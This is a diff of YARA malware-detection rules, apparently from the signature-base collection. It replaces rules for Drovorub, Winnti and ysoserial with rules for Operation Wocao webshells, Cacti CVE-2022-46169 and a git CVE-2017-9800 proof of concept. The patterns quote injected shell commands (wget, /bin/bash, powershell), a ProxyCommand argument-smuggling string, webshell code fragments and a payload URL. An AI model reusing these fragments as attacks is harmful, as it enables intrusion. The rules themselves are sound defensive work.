 	meta:
-		description = "Detects samples that exploit CVE-2021-1647"
-		author = "Arkbird_SOLG"
-		id = "ecce018e-1bee-5374-b6c8-984c2a8c2530"
-		date = "2021-05-04"
+		description = "Python getos utility"
+		author = "Fox-IT SRT"
+		id = "4a731dde-87e4-566a-b559-d23e0bef5841"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://attackerkb.com/topics/DzXZpEuBeP/cve-2021-1647-microsoft-windows-defender-zero-day-vulnerability"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_1647.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0e1809ba10e5ea624e1c4d2e948c928c590b40e6315def8cb1216930ead8579"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L234-L295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2535c01b703c0fcba43e771832db8cd969e4a4b112ef28e4ddfeac6491ba604c"
 		score = 75
 		quality = 85
-		tags = "CVE-2021-1647, FILE"
-		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
-		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
-		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
-		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
+		tags = ""
 
 	strings:
-		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
-		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
+		$smb_1 = {
+            00 00 00 85 ff 53 4d 42 72 00 00 00 00 18 53 c8
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
+            00 00 ff b4 00 62 00 02 50 43 20 4e 45 54 57 4f
+            52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02
+            4c 41 4e 4d 41 4e 31 2e 30 00 02 57 69 6e 64 6f
+            77 73 20 66 6f 72 20 57 6f 72 6b 67 72 6f 75 70
+            73 20 33 2e 31 61 00 02 4c 4d 31 2e 32 58 30 30
+            32 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 02 4e 54
+            20 4c 4d 20 30 2e 31 32 00
+        }
+		$smb_2 = {
+            00 00 00 c8 ff 53 4d 42 73 00 00 00 00 18 03 c8
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
+            00 00 3f b5 0c ff 00 c8 00 04 11 32 00 00 00 00
+            00 00 00 28 00 00 00 00 00 d4 00 00 a0 8d 00 4e
+            54 4c 4d 53 53 50 00 01 00 00 00 07 82 88 a2 00
+            00 00 00 28 00 00 00 00 00 00 00 28 00 00 00 05
+            01 28 0a 00 00 00 0f 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+            00 00 00 00 00 00 00 00 00 00 00 00
+        }
+		$smbstr_1 = "\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\xff\\xb4\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00"
+		$smbstr_2 = "\\x00\\x00\\x00\\xc8\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x03\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00?\\xb5\\x0c\\xff\\x00\\xc8\\x00\\x04\\x112\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\xa0\\x8d\\x00NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x07\\x82\\x88\\xa2\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x05\\x01(\\n\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+		$code_1 = "return 'Other error.'" ascii wide
+		$code_2 = "sblob = buf[47:47 + sbl]" ascii wide
+		$code_3 = "re.split('[\\x00-,]+', y[-4])" ascii wide
+		$code_4 = "('').join(sblob[off:off + hlen].split('\\x00'))" ascii wide
+		$code_5 = "banner = '%s    %s' % (hostname, native)" ascii wide
+		$code_6 = "banner = '%s\\\\%s    %s' % (dm, hostname, native)" ascii wide
+		$tsk_1 = "PushTask" ascii wide
+		$tsk_2 = "parse_task" ascii wide
+		$tsk_3 = "commit_task" ascii wide
+		$str_1 = "Usage: getos.py <ip-range|ip-file>" ascii wide
+		$str_2 = "The path '%s' write fails." ascii wide
+		$str_3 = "Receive a signal %d," ascii wide
+		$str_4 = "Scan Complete!" ascii wide
+		$str_5 = "line: %d, %s: %s" ascii wide
+		$str_6 = "Other error." ascii wide
 
 	condition:
-		filesize >10KB and filesize <10000KB and all of them
+		( all of ($smb_*)) or ( all of ($smbstr_*)) or (3 of ($code_*)) or ( all of ($tsk_*)) or (3 of ($str_*))
 }
-rule SIGNATURE_BASE_APT_APT28_Generic_Poco_Openssl
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Info_Vbs
 {
 	meta:
-		description = "Rule to detect statically linked POCO and OpenSSL libraries (COULD be Drovorub related and should be further investigated)"
-		author = "NSA / FBI"
-		id = "b6d2477b-c9a2-5858-87cf-aa006109bc8f"
-		date = "2020-08-13"
+		description = "Strings from the information grabber VBS"
+		author = "Fox-IT SRT"
+		id = "b719fb31-2836-5faf-a7c8-c361a14df2be"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28_drovorub.yar#L1-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6a78c358b3aee6b172ec29e72ce810c6fbf332f180d5879f0889f47688225e1"
-		score = 50
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L297-L316"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e37f8768c7920b8c3d9fdd6bb3a4e748c47a6c06a8aaed01655355ef3d8c3457"
+		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$mw1 = { 89 F1 48 89 FE 48 89 D7 48 F7 C6 FF FF FF FF 0F 84 6B 02 00 00 48 F7 C7
-                 FF FF FF FF 0F 84 5E 02 00 00 48 8D 2D }
-		$mw2 = { 41 54 49 89 D4 55 53 F6 47 19 04 48 8B 2E 75 08 31 DB F6 45 00 03 75 }
-		$mw3 = { 85C0BA15000000750989D05BC30F1F44 0000BE }
-		$mw4 = { 53 8A 47 08 3C 06 74 21 84 C0 74 1D 3C 07 74 20 B9 ?? ?? ?? ?? BA FD 03
-                 00 00 BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 E8 06 3C 01 77 2B 48 8B 1F 48 8B 73
-                 10 48 89 DF E8 ?? ?? ?? ?? 48 8D 43 08 48 C7 43 10 00 00 00 00 48 C7 43 28 00 00 00 00 48
-                 89 43 18 48 89 43 20 5B C3 }
+		$ = "Logger PingConnect"
+		$ = "Logger GetAdmins"
+		$ = "Logger InstallPro"
+		$ = "Logger Exec"
+		$ = "retstr = adminsName & \" Members\" & vbCrLf & _"
+		$ = "Logger VolumeName & \" (\" & objDrive.DriveLetter & \":)\" _"
+		$ = "txtRes = txtRes & machine & \" can"
+		$ = "retstr = \"PID   SID Image Name\" & vbCrLf & \"===="
 
 	condition:
-		all of them
+		4 of them
 }
-rule SIGNATURE_BASE_APT_APT28_Drovorub_Library_And_Unique_Strings : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Console_Jsp
 {
 	meta:
-		description = "Rule to detect Drovorub-server, Drovorub-agent, and Drovorub-client"
-		author = "NSA / FBI"
-		id = "8e010356-09c7-5897-9cbe-051cd0800502"
-		date = "2020-08-13"
+		description = "Strings from the console.jsp webshell"
+		author = "Fox-IT SRT"
+		id = "1afdfc34-d2e3-58c7-80ea-ee5632e42469"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28_drovorub.yar#L23-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "adb0d4cb6d589213e6a125d3cc20fcea8164b697bdd24d897ce75e7c7f06120a"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L318-L335"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e70c15ef10b63a011edbcedc773a8e2917fd915c3ecc273c3bf2b78eb10fc570"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$s1 = "Poco" ascii wide
-		$s2 = "Json" ascii wide
-		$s3 = "OpenSSL" ascii wide
-		$a1 = "clientid" ascii wide
-		$a2 = "-----BEGIN" ascii wide
-		$a3 = "-----END" ascii wide
-		$a4 = "tunnel" ascii wide
+		$a = "String strLogo = request.getParameter(\"image\")"
+		$b = "!strLogo.equals(\"web.gif\")"
+		$c = "<font color=red>Save Failed!</font>"
+		$d = "<font color=red>Save Success!</font>"
+		$e = "Save path:<br><input type=text"
+		$f = "if (newfile.exists() && newfile.length()>0) { out.println"
 
 	condition:
-		( filesize >1MB and filesize <10MB and ( uint32(0)==0x464c457f)) and (#s1>20 and #s2>15 and #s3>15 and all of ($a*))
+		1 of them
 }
-rule SIGNATURE_BASE_APT_APT28_Drovorub_Unique_Network_Comms_Strings
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Index_Jsp
 {
 	meta:
-		description = "Rule to detect Drovorub-server, Drovorub-agent, or Drovorub-client based"
-		author = "NSA / FBI"
-		id = "c6a930e8-c1c0-5d96-9051-7516df848b45"
-		date = "2020-08-13"
+		description = "Strings from the index.jsp socket tunnel"
+		author = "Fox-IT SRT"
+		id = "9c226ccd-6c69-523c-bca4-371e55274667"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28_drovorub.yar#L44-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c82766b76c36fe64c6aa99577e1997d7181dbd36a4c27329845ae8a413f5327"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L337-L353"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "870dad9fb5456f8edbd9f3c2d0b8764cf1143399626ce4df53c93919bcb1a0cb"
 		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$s_01 = "action" wide ascii
-		$s_02 = "auth.commit" wide ascii
-		$s_03 = "auth.hello" wide ascii
-		$s_04 = "auth.login" wide ascii
-		$s_05 = "auth.pending" wide ascii
-		$s_06 = "client_id" wide ascii
-		$s_07 = "client_login" wide ascii
-		$s_08 = "client_pass" wide ascii
-		$s_09 = "clientid" wide ascii
-		$s_10 = "clientkey_base64" wide ascii
-		$s_11 = "file_list_request" wide ascii
-		$s_12 = "module_list_request" wide ascii
-		$s_13 = "monitor" wide ascii
-		$s_14 = "net_list_request" wide ascii
-		$s_15 = "server finished" wide ascii
-		$s_16 = "serverid" wide ascii
-		$s_17 = "tunnel" wide ascii
+		$x1 = "X-CMD"
+		$x2 = "X-STATUS"
+		$x3 = "X-TARGET"
+		$x4 = "X-ERROR"
+		$a = "out.print(\"All seems fine.\");"
 
 	condition:
-		all of them
+		all of ($x*) and $a
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Winnti_BR_Report_Twinpeaks : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Ver_Jsp
 {
 	meta:
-		description = "Detects Winnti samples"
-		author = "@br_data repo"
-		id = "2e4e2b88-fdb4-5adc-8192-a304d71ca851"
-		date = "2019-07-24"
+		description = "Strings from the ver.jsp webshell"
+		author = "Fox-IT SRT"
+		id = "b2828b84-8934-5111-9345-683a07025070"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/br-data/2019-winnti-analyse"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_br.yar#L3-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76457f5aa4cc4bf4f43ffbaa60d63006455977e881f1d74b845835c505a93fed"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L355-L372"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ada6de4b07a76e79bb17793cda2b51f96554a35992a73f59c360487638ae3be3"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$cooper = "Cooper"
-		$pattern = { e9 ea eb ec ed ee ef f0}
+		$a = "String strLogo = request.getParameter(\"id\")"
+		$b = "!strLogo.equals(\"256\")"
+		$c = "boolean chkos = msg.startsWith"
+		$d = "while((c = er.read()) != -1)"
+		$e = "out.print((char)c);}in.close()"
+		$f = "out.print((char)c);}er.close()"
 
 	condition:
-		uint16(0)==0x5a4d and $cooper and ($pattern in (@cooper[1]..@cooper[1]+100))
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_BR_Report_Thedao : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Webshell_Webinfo
 {
 	meta:
-		description = "Detects indicator in malicious UPX packed samples"
-		author = "@br_data repo"
-		id = "5cc932d7-2ec6-5570-af4a-3f64b39e6db5"
-		date = "2019-07-24"
+		description = "Generic strings from webinfo.war webshells"
+		author = "Fox-IT SRT"
+		id = "b8477f62-f3f6-5526-b0e3-9b794fefaa1f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/br-data/2019-winnti-analyse"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_br.yar#L17-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "798b092b7667462aa66590603504cb0cd1166e4ac3472627cd8cd8fdf8f0b778"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L374-L394"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "711737a56067f24f422cc7d5aeba4389741fe18a0e66f2715fce626c3b6aef19"
 		score = 75
-		quality = 60
-		tags = "FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$b = { DA A0 }
+		$var1 = "String strLogo = request.getParameter"
+		$var2 = "String content = request.getParameter(\"content\");"
+		$var3 = "String basePath=request.getScheme()"
+		$var4 = "!strLogo.equals("
+		$var5 = "if(path!=null && !path.equals(\"\") && content!=null"
+		$var6 = "File newfile=new File(path);"
+		$str1 = "Save Success!"
+		$str2 = "Save Failed!"
 
 	condition:
-		uint16(0)==0x5a4d and $b at pe.overlay.offset and pe.overlay.size>100
+		2 of ($var*) or ( all of ($str*) and 1 of ($var*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Winnti_BR_Report_Mockingjay : FILE
+rule SIGNATURE_BASE_EXPL_LOG_Cacti_Commandinjection_CVE_2022_46169_Dec22_1 : CVE_2022_46169
 {
 	meta:
-		description = "Detects Winnti samples"
-		author = "@br_data repo"
-		id = "9aff9d65-3827-59de-9dc3-38f227155d3d"
-		date = "2019-07-24"
+		description = "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169"
+		author = "Nasreddine Bencherchali"
+		id = "c799a419-87ed-55ea-8ebb-d4da901be4ad"
+		date = "2022-12-27"
 		modified = "2023-12-05"
-		reference = "https://github.com/br-data/2019-winnti-analyse"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_br.yar#L30-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7a63b6f10cc5feebba16e585cb29d741876e1dc7f4dde3ef43ac76db9c7ad135"
-		score = 75
+		reference = "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2022_46169_cacti.yar#L1-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ccd3b830deb5c5d65519274c4c528203a2a14a177382334da87e288174e2cfe"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2022-46169"
 
 	strings:
-		$load_magic = { C7 44 ?? ?? FF D8 FF E0 }
-		$iter = { E9 EA EB EC ED EE EF F0 }
-		$jpeg = { FF D8 FF E0 00 00 00 00 00 00 }
+		$xr1 = /\/remote_agent\.php.{1,300}(whoami|\/bin\/bash|\/bin\/sh|\bwget\b|powershell|cmd \/c|cmd\.exe \/c).{1,300} 200 / ascii
 
 	condition:
-		uint16(0)==0x5a4d and $jpeg and ($load_magic or $iter in (@jpeg[1]..@jpeg[1]+200)) and for any i in (1..#jpeg) : ( uint8(@jpeg[i]+11)!=0)
+		$xr1
 }
-rule SIGNATURE_BASE_Ysoserial_Payload_Mozillarhino1 : FILE
+rule SIGNATURE_BASE_Git_CVE_2017_9800_Poc : CVE_2017_9800 FILE
 {
 	meta:
-		description = "Ysoserial Payloads - file MozillaRhino1.bin"
+		description = "Detects a CVE-2017-9800 exploitation attempt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
-		date = "2017-02-04"
+		id = "1692eec4-a9af-5d00-97b8-badbe0ba0711"
+		date = "2017-08-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/frohoff/ysoserial"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ysoserial_payloads.yar#L10-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ca8cdd2781812ed373ca558b3a5a2fac5d236e16e6dbb8d66caa45081aef968b"
-		score = 75
+		reference = "https://twitter.com/mzbat/status/895811803325898753"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_9800.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1cfd0c5cb255d3ca63917c41c092df70d68b04f5d210a66abd5e35e509ff4beb"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2017-9800, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
 
 	strings:
-		$s3 = "ysoserial.payloads" fullword ascii
+		$s1 = "git clone ssh://-oProxyCommand=" ascii
+		$s2 = "git clone http://-" ascii
+		$s3 = "git clone https://-" ascii
 
 	condition:
-		( uint16(0)==0xedac and filesize <40KB and all of them )
+		filesize <200KB and 1 of them
 }
-rule SIGNATURE_BASE_Ysoserial_Payload_C3P0 : FILE
+rule SIGNATURE_BASE_Scanbox_Malware_Generic
 {
 	meta:
-		description = "Ysoserial Payloads - file C3P0.bin"
+		description = "Scanbox Chinese Deep Panda APT Malware http://goo.gl/MUUfjv and http://goo.gl/WXUQcP"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"
-		date = "2017-02-04"
+		id = "f7867e65-567f-530f-83d4-b5126021e523"
+		date = "2015-02-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/frohoff/ysoserial"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ysoserial_payloads.yar#L25-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "53188caff69e1dbf655f4df7cda1406dd357af14a92ca4e686f514299b0adafc"
+		reference = "http://goo.gl/WXUQcP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_scanbox_deeppanda.yar#L2-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5f521d3f000fb39e5e3b08657e75219e93fb3bb8ffbbdbd70f471928a56bef27"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9932108d65e26d309bf7d97d389bc683e52e91eb68d0b1c8adfe318a4ec6e58b"
+		hash1 = "8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9"
+		hash2 = "d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d"
+		hash3 = "3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2"
 
 	strings:
-		$x1 = "exploitppppw" fullword ascii
+		$s0 = "http://142.91.76.134/p.dat" fullword ascii
+		$s1 = "HttpDump 1.1" fullword ascii
+		$s3 = "SecureInput .exe" fullword wide
+		$s4 = "http://extcitrix.we11point.com/vpn/index.php?ref=1" fullword ascii
+		$s5 = "%SystemRoot%\\System32\\svchost.exe -k msupdate" fullword ascii
+		$s6 = "ServiceMaix" fullword ascii
+		$x1 = "Management Support Team1" fullword ascii
+		$x2 = "DTOPTOOLZ Co.,Ltd.0" fullword ascii
+		$x3 = "SEOUL1" fullword ascii
 
